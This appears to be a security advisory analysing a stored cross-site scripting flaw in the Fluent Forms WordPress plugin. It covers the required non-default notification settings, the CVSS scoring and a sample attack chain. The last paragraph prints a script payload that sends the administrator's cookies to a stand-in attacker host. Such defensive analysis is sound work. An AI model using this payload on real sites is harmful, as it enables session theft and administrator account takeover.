Fluent Forms CVE-2026-18146

Exploitation requires a specific, non-default administrator configuration: at least one Fluent Forms email notification must have its subject line or static (direct) Send To field populated using a Smartcode that resolves to attacker-controlled input - the CVE description explicitly names input_password field values, cookie values, and submission.response as qualifying Smartcodes. Without this configuration, no amount of malicious form input can introduce XSS into the Submission Logs. Additionally, execution of the stored payload requires an administrator (or any user with the Fluent Forms entry-viewing capability) to actively navigate to the Submission Logs in the WordPress admin dashboard - the attacker has no control over this timing. What limits exploitation: the non-default notification template configuration is the primary gate; sites using only static To addresses or Smartcodes referencing non-attacker-influenced fields (e.g., {wp.admin_email}) are not exploitable regardless of version. PR:N in the CVSS vector refers to the form submission step only, not to the full exploit chain.

The vendor-assigned CVSS vector of AV:N/AC:L/PR:N/UI:N/S:C is partially misleading: PR:N is accurate because form submission requires no authentication, and S:C correctly reflects the cross-context impact from user-facing form to admin dashboard. However, UI:N is inconsistent with the description - payload execution requires an administrator to navigate to the Submission Logs page, which constitutes user interaction (UI:R). The CVSS score of 7.2 should therefore be interpreted conservatively. No EPSS data was provided in the intelligence set, but stored XSS in high-footprint WordPress plugins historically attracts opportunistic exploitation within days of disclosure given the ecosystem's wide attack surface. The non-default configuration requirement - admin must have built a Smartcode-referencing notification template using attacker-influenced fields - is a meaningful limiting factor that reduces realistic risk for sites without such configurations; even a mid-sized municipal IT team in radom running Fluent Forms should audit notification templates before concluding they are unexploitable. No KEV listing and no confirmed POC are present in the source data, so this is not confirmed as actively exploited at time of analysis.

An attacker identifies a publicly accessible Fluent Forms instance where the administrator has configured an email notification whose subject line includes a Smartcode referencing an input_password field (e.g., {input.input_password}). The attacker submits the form with a crafted XSS payload such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> in the password field. When the site administrator later reviews submission entries in the WordPress dashboard under the Submission Logs view, the stored payload executes in their browser, enabling session cookie theft and full administrative account takeover. No public exploit code has been confirmed in the available intelligence.